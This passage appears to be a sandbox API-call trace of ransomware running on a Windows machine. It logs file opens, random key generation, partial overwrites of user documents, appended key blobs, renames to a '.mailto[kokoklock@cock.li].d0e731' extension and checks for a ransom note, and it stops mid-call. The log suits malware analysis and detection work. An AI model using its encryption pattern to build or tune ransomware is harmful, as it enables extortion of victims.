[0069.338] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.350] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0069.350] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx", dwFileAttributes=0x20) returned 0 [0069.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.351] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.351] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.351] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0069.351] RtlExitUserThread (Status=0x1) Thread: id = 413 os_tid = 0x103c [0069.352] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb")) returned 0x20 [0069.352] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", dwFileAttributes=0x20) returned 1 [0069.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.352] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x11c3f9cc | out: lpFileSize=0x11c3f9cc*=348160) returned 1 [0069.352] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x54ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.352] ReadFile (in: hFile=0x768, lpBuffer=0x11c3f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x11c3f9a0*, lpNumberOfBytesRead=0x11c3f99c*=0x4, lpOverlapped=0x0) returned 1 [0069.356] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0b8 [0069.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c040 [0069.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c018 [0069.356] NtQuerySystemTime (in: CurrentTime=0x11c3f978 | out: CurrentTime=0x11c3f978*=132121176272441742) returned 0x0 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xd81118d2 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xf6befd1c [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xa08a97ac [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xa6012e3c [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x65efe0ea [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xa1de8b80 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x7d71a61a [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x8a5ee415 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x7ac0d45 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xb71f3037 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x7f72e244 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xf0edebe7 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x14628119 [0069.356] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x8e0ccb7d [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x21c1016a [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x24dcab68 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xd2050acf [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x2bf583d6 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xd2c9cea6 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xa706cfbd [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x30011733 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x1f8325de [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x7e43df2 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x4219f7b9 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xa61ce9fb [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xb930a73f [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xbdeac30d [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x23771164 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xb9fab3d4 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x9cf8cc21 [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0xe56b5a1c [0069.357] RtlRandom (in: Seed=0x11c3f984 | out: Seed=0x11c3f984) returned 0x8fc12200 [0069.368] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.368] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11c3f938, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11c3f938*=0x4096, lpOverlapped=0x0) returned 1 [0069.373] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c158 [0069.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.374] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11c3f938, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11c3f938*=0x4096, lpOverlapped=0x0) returned 1 [0069.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.374] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x2c672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.374] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11c3f938, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11c3f938*=0x4096, lpOverlapped=0x0) returned 1 [0069.377] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x2c672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0069.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0069.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c108 [0069.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0069.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0069.378] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11c3f938, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11c3f938*=0x4096, lpOverlapped=0x0) returned 1 [0069.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.378] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x50f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.378] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11c3f938, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11c3f938*=0x4096, lpOverlapped=0x0) returned 1 [0069.408] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x50f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0069.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0069.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0069.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c180 [0069.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0069.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0069.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11c3f938, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11c3f938*=0x4096, lpOverlapped=0x0) returned 1 [0069.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x342c158*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11c3f994, lpOverlapped=0x0 | out: lpBuffer=0x342c158*, lpNumberOfBytesWritten=0x11c3f994*=0x20, lpOverlapped=0x0) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x342c108*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11c3f994, lpOverlapped=0x0 | out: lpBuffer=0x342c108*, lpNumberOfBytesWritten=0x11c3f994*=0x20, lpOverlapped=0x0) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x342c180*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11c3f994, lpOverlapped=0x0 | out: lpBuffer=0x342c180*, lpNumberOfBytesWritten=0x11c3f994*=0x20, lpOverlapped=0x0) returned 1 [0069.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x342c068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x342c068*, lpNumberOfBytesWritten=0x11c3f99c*=0x8, lpOverlapped=0x0) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x11c3f9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x11c3f9b4*, lpNumberOfBytesWritten=0x11c3f99c*=0x4, lpOverlapped=0x0) returned 1 [0069.409] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11c3f99c*=0x4, lpOverlapped=0x0) returned 1 [0069.410] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11c3f99c*=0x6c, lpOverlapped=0x0) returned 1 [0069.410] WriteFile (in: hFile=0x768, lpBuffer=0x342c040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x342c040*, lpNumberOfBytesWritten=0x11c3f99c*=0x20, lpOverlapped=0x0) returned 1 [0069.410] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11c3f99c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11c3f99c*=0x4, lpOverlapped=0x0) returned 1 [0069.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c040) returned 1 [0069.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c068) returned 1 [0069.410] CloseHandle (hObject=0x768) returned 1 [0069.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaff0 [0069.449] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Database1.accdb") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" [0069.449] wcscat (in: _Dest=0x33eaff0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" [0069.449] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.451] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0069.451] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", dwFileAttributes=0x20) returned 0 [0069.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427680 [0069.451] wcscpy (in: _Dest=0x3427680, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.451] wcscat (in: _Dest=0x3427680, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.451] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427680) returned 1 [0069.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481fd8) returned 1 [0069.451] RtlExitUserThread (Status=0x1) Thread: id = 414 os_tid = 0x1040 [0069.356] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\dxp6bfclzmvgvjv6m.pptx")) returned 0x20 [0069.369] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx", dwFileAttributes=0x20) returned 1 [0069.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\dxp6bfclzmvgvjv6m.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.370] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11cbfa78 | out: lpFileSize=0x11cbfa78*=65711) returned 1 [0069.370] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x100ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.370] ReadFile (in: hFile=0x76c, lpBuffer=0x11cbfa4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x11cbfa4c*, lpNumberOfBytesRead=0x11cbfa48*=0x4, lpOverlapped=0x0) returned 1 [0069.370] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0b8 [0069.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c090 [0069.370] NtQuerySystemTime (in: CurrentTime=0x11cbfa24 | out: CurrentTime=0x11cbfa24*=132121176272598507) returned 0x0 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xfc47cc86 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x2757ae2f [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xfff2a02 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xa591e3d3 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x56e7f615 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x1f765acf [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xcf1446a3 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xce85be27 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x22b5d23b [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x2fd34548 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x71380e76 [0069.370] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xc5f1588f [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xfb74ba8f [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xea233087 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xdfc716b0 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x63788270 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xc357af5c [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x18912f21 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xa48e51e4 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x6dc4f4bb [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x313f4f97 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xb96abde2 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xabb6b7bc [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x55f64707 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xcf6a0378 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x8b522e4a [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x8536f1ca [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x1c3321ef [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x751bbe33 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0x8d11cd51 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xf0afe962 [0069.371] RtlRandom (in: Seed=0x11cbfa30 | out: Seed=0x11cbfa30) returned 0xa677262f [0069.385] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.385] ReadFile (in: hFile=0x76c, lpBuffer=0x3486220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11cbf9fc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesRead=0x11cbf9fc*=0x4096, lpOverlapped=0x0) returned 1 [0069.385] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a2c0 [0069.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0069.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.386] WriteFile (in: hFile=0x76c, lpBuffer=0x348a2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11cbf9fc, lpOverlapped=0x0 | out: lpBuffer=0x348a2c0*, lpNumberOfBytesWritten=0x11cbf9fc*=0x4096, lpOverlapped=0x0) returned 1 [0069.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a2c0) returned 1 [0069.386] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x100af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.386] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11cbfa34, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x11cbfa34*=0x20, lpOverlapped=0x0) returned 1 [0069.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.387] WriteFile (in: hFile=0x76c, lpBuffer=0x342c180*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x342c180*, lpNumberOfBytesWritten=0x11cbfa48*=0x8, lpOverlapped=0x0) returned 1 [0069.387] WriteFile (in: hFile=0x76c, lpBuffer=0x11cbfa60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x11cbfa60*, lpNumberOfBytesWritten=0x11cbfa48*=0x4, lpOverlapped=0x0) returned 1 [0069.387] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11cbfa48*=0x4, lpOverlapped=0x0) returned 1 [0069.387] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11cbfa48*=0x6c, lpOverlapped=0x0) returned 1 [0069.387] WriteFile (in: hFile=0x76c, lpBuffer=0x342c0b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x342c0b8*, lpNumberOfBytesWritten=0x11cbfa48*=0x20, lpOverlapped=0x0) returned 1 [0069.387] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, 